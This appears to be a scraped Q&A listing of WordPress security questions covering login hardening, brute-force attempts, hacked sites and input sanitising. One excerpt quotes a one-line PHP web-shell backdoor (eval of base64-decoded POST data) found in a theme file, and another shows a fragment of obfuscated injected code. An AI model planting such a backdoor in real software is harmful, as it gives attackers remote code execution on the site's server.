The security tag has no wiki summary.
-1
votes
2answers
337 views
How to improve WordPress security by hiding non public facing files?
e.g.
curl -I http://ma.tt/blog/wp-config.php
200 OK
The wp-config.php is not public facing file, since it currently just return blank page, so why not return 404 instead. (so will not be cached by ...
0
votes
3answers
55 views
Why my plugins are updating automatically?
I have a wordpress site with a few plugins. I had to make some custom changes on a plugin (not a best practice), and of course I don't want to update that plugin.
But for some reason all my plugins ...
0
votes
0answers
18 views
Core files changed - site hacked?
Got a WordFence alert last night for one of our WordPress sites, saying that some WordPress core files had been changed:
WordPress core file modified: wp-content/plugins/akismet/admin.php
WordPress ...
0
votes
1answer
33 views
How to protect wp-admin through .htaccess?
I'd like to protect the /wp-admin/ directory at the server level. This means two logins. One through the server and another through WordPress.
I believe this can be handled through .htaccess. Does ...
0
votes
0answers
54 views
Why does My WordPress site keep getting hacked? [closed]
Why does My WordPress site keep getting hacked?
I have made all of the changes I can according to WordPress's hardening documentation.
Each time, the administrative password is reset. How can that ...
0
votes
2answers
45 views
How can I tell who changed the password?
We recently had an employee leave our company. When they left, I changed all their passwords and removed their email access etc. I also changed the password on our Wordpress site for the Admin ...
0
votes
1answer
1k views
Password protect a specific category page/post
I have searched high and low for this but nothing is sticking out at me. I am looking to password protect posts and/or pages based on a certain category.
The reason for this is that I am creating a ...
0
votes
0answers
24 views
Is [admin / admin] acceptable for all local websites?
Are there security issues with using the same credentials [admin / admin] for all client websites on a working, local server ?
0
votes
0answers
15 views
Brute force attack - how to tell if site has been compromised? [duplicate]
What is the best way to check if a site has been compromised? I'm assuming an attacked site won't show any "symptoms", correct? I've checked a few FTP directories and haven't seen anything, what else ...
0
votes
1answer
54 views
Wordfence detects change in wp-admin/includes/upgrade.php
I moved my site from hosting provider A and domain name B to hosting provider X and domain name Y. I had Wordfence in the old site. I just installed it in the new site and ran a scan. Wordfence found ...
0
votes
0answers
55 views
wp-count.php injection [closed]
My site was infected by wp-count.php and wp-apps.php files.
It's been a year since this topic has been raised everywhere, but no solution so far? Is this really a WordPress vulnerability issue or a ...
0
votes
1answer
46 views
Trying to understand nature of hacking
Today we saw suddenly two files created in root folder in one of our wordpress websites - file name owp.php and gmail.html
On investigating the access logs following entries were found which seem to ...
0
votes
1answer
36 views
Why does WordPress change a file's permissions?
If I set the permissions to the CSS file in my theme to 444 and then attempt to edit it in the Appearance Editor, WordPress is not prevented from editing the file and in fact change the permissions to ...
0
votes
0answers
11 views
Security permissions on controls added under Page Option
I am a total wordpress n00b, and am having issues understanding how the page security is applied.
I have a page where I want to secure the content, so, in the page editor, I have ticked certain ...
4
votes
1answer
60 views
Should I remove install.php and install-helper.php?
Is keeping wp-admin/install.php and wp-admin/install-helper.php a security leak on the newer versions of wordpress? By default file permission on those files are 644.
If there is any leak, what kind ...
1
vote
4answers
14k views
Is there any way to rename or hide wp-login.php?
Any way to change the wp-login.php url? It seems insecure that everyone that's ever used Wordpress could easily see if your site is using it, and get right to the login page.
There used to be a ...
2
votes
3answers
116 views
How brute-forcer knows that the password is cracked for target username?
There are very many brute-force attacks (mostly for 'admin' username) on WordPress sites.
All these attacks are made automatically via post requests.
The question 1: how brute-forcer knows that the ...
15
votes
2answers
3k views
Increase of failed login attempts, brute force attacks?
I Installed the plugin Simple Login Lockdown and since a couple of days ago the database is recording over 200 records by day.
I think that is not possible to have my site attacked by so many IP's
...
0
votes
1answer
34 views
Wordpress built in custom fields don't validate or sanitize? Is there a way to fix this?
I'm surprised to see that when creating post meta using the default/built in custom fields on the post editor page it allows you to enter tags like:
<a>,<script>,etc.
I then ...
0
votes
0answers
19 views
Page missing: tiger-m@te
I recently took a site live, installed WP Better Security, and noticed immediately that this site was facing a lot of hacking attempts.
About a day later I realized that one of the pages refuses to ...
0
votes
1answer
48 views
If I use an alternative login (e.g. CAS or other SSO) plugin, is my site protected from the recent brute force login attempts?
I've been hearing about the recent increase in brute-force WordPress login attempts due to a massive botnet attack. Everything I've read so far indicates that the attack works by just trying different ...
1
vote
2answers
58 views
Suspicious Files
Hi I found two suspicious files on my site:
The first in my theme (404.php), with this line added
<?php if ($_POST["php"]){eval(base64_decode($_POST["php"]));exit;} ?>
The second in ...
-3
votes
5answers
993 views
Is it a bad idea to CHMOD 777 all the files on your site?
I think i heard that it might pose a security threat to your site, is that right? Makes it more vulnerable to it getting hacked?
How should I undo this, which files should be chmod to what number?
0
votes
1answer
70 views
Changing admin user id for database
Is it correct or ok to change default admin user id from 1 to any other number as done by better-wp-security plugin for wordpress for better security? what is best way for admin security.
Thanks
2
votes
1answer
47 views
Protecting against malicious code in Wordpress plugin updates
One of the most popular Wordpress plugins listed on the Wordpress plugins database got malicious code injected into it recently (April 2013):
...
3
votes
2answers
46 views
Is it safe to assume that a nonce may be validated more than once?
From what I have gathered, once a nonce is generated it is valid for reuse for the next 48 hours.
Is it safe to code with this in mind? I'm writing a plugin that does a bit of toing and froing with ...
0
votes
0answers
76 views
Prevent PHP execution via htaccess but disables thesis theme?
So I'm trying to secure my wordpress site because it's been infected multiple times with malware. One of the suggested steps is to basically prevent php execution in the wp-content directory via ...
0
votes
1answer
40 views
How do I allow certain users to make a certain type of post?
Here's a brief summary of how my site is setup:
I have a relatively simple Intranet site. Right now I am utilizing posts as a means to provide news to users. I am also using pages. I only want ...
3
votes
1answer
49 views
Why allow overriding crucial pluggable functions wp_verify_nonce and wp_create_nonce?
Among the functions in /wp-includes/pluggable.php are the functions wp_verify_nonce and wp_create_nonce. Both functions are very important in the protection against CSRF-attacks. However, it is easy ...
3
votes
1answer
73 views
Allow Profile HTML for select users
I know there are a ton of post out there about how to allow html in profiles. Most of these warn about the security risk of doing so. My thinking is there has to be a way to only allow users to use ...
0
votes
0answers
41 views
Insecure content loading on a secured site, how to force https?
I have a seemingly odd issue where when logged in as an admin on a site I can load all content and assets just fine. When I logout to view the site entirely as a user would see it, the html content ...
1
vote
2answers
562 views
Can I Prevent Enumeration of Usernames?
Can I prevent enumeration of usernames on my wordpress site? I can see users at the moment using the WPScan tool.
3
votes
5answers
3k views
Is there a way to force ssl on certain pages
I want to force a secure connection on some of my pages (ones with forms), but I don't want the whole site to work with ssl (slows it down)
Is there a way to configure specific pages to require ssl?
1
vote
1answer
68 views
Moving wp-config.php up 2 levels
Is it possible to change a setting so that wp-config.php could be moved up two directory levels (instead of the default 1 level)? This would allow the core WP files to be moved from public_html to a ...
0
votes
1answer
52 views
Data Validation, dynamically generated fields (select for example)
Working to secure my plugin, I'm not sure what (if anything) to do about output such as dynamically generated select fields. For example, I have a country code select generated on the backend via PHP ...
23
votes
10answers
11k views
Can I rename the wp-admin folder?
Is it possible to rename the wp-admin folder?
I know I could just rename it, but unless it's supported by the code lots of things would break.
If I use a custom folder name, it will make it slightly ...
0
votes
1answer
65 views
Is it safe use wp_editor in public contact form
I'm going to make a contact form for my site, and i want to use WYSIWYG editor (wp_editor) in my form message field.
Here is my question, is that safe use wp_editor in public though disable media ...
-1
votes
1answer
81 views
Overwhelming code injection [closed]
My WP site was plagued with code injection such as this:
68c8c7
echo "
asgq=[0x28,0x66,0x75,0x6e,0x63,0x7d, .......
...
5
votes
3answers
713 views
Moving wp-config.php: Can this be done after site launch?
For additional security, the suggestion is made to move the wp-config.php up one level. Can this be done after the site has already been launched? Any potential issues in doing this? Are there an ...
0
votes
1answer
63 views
force login loophole
I want to restrict access to my wordpress site to allow registered users only. I have tried the following plugins:
Require-login
Authenticator
WP-lock
All of them have the same problem: After ...
3
votes
1answer
124 views
When to use esc_url, esc_html, esc_attr, and friends?
Discovered esc_url today while customizing an _s theme. I understand what the function does (sanitizes the URL inside), but what I'm unsure of is the scope of its use.
It makes sense to me that if ...
0
votes
3answers
101 views
How to stop direct HTTP POST to a PHP script?
I have a form on my site, created using Contact Form 7 with Captcha. Contents of the form when POSTed are being sent to a PHP script, the "action" attribute of the form is set to ...
-2
votes
2answers
78 views
Is there a secure way for the public to submit images, videos, and documents using WordPress?
I want the public to submit images, photo simulations, models, video, animation, illustrated narration, papers and other publications and multimedia. images - 30" x 42" 300 dpi . pdf format file size. ...
0
votes
2answers
134 views
Too many login attempts
Since a week or two I keep receiving the following automatic email message sent from my WordPress website, and I'd like to know if it indicates any security hole and if there's anything I can do to ...
5
votes
3answers
955 views
How to hide admin account in BuddyPress? (for security reasons)
I have been working with WordPress for the past 3-4 years, but I am new to BuddyPress.
I would like to hide the admin account completely from BuddyPress for security reasons. For example with a ...
2
votes
2answers
5k views
How to change “wp-admin” to something else without search-replacing the core?
for example: foobar.com/wp/edit instead of foobar.com/wp/wp-admin
How would I do that?
I've tried using this in htaccess but it won't work:
##### ABOVE THIS POINT IS ALREADY INSERTED BY WORD PRESS
...
1
vote
1answer
84 views
Using esc_html with HTML purifier and CSSTidy: Overkill?
Currently my text area input (which accepts custom CSS input from a user) in the Wordpress theme options panel are sanitized by esc_html function in Wordpress ...
0
votes
2answers
34 views
Separate Out Real Users
If I look at
/wp-admin/users.php
I see all the users, but some have given a bogus email and never used their password.
Is there some way to see who has used their password at least once? If not, ...
1
vote
0answers
55 views
Disallow file edit not preventing plugin install
I have a little demo site (admin details are listed publicly), and I've configured the wp-config to disallow file edits, so in theory no one can install a theme / plugin.
...
1
vote
0answers
63 views
How can I secure a WordPress blog using OpenID from a single provider?
We're about to launch an internal blog for the company I work at. Much of the blog will be available to the public, but certain posts will be for employees only.
Our intranet/extranet has an OpenID ...
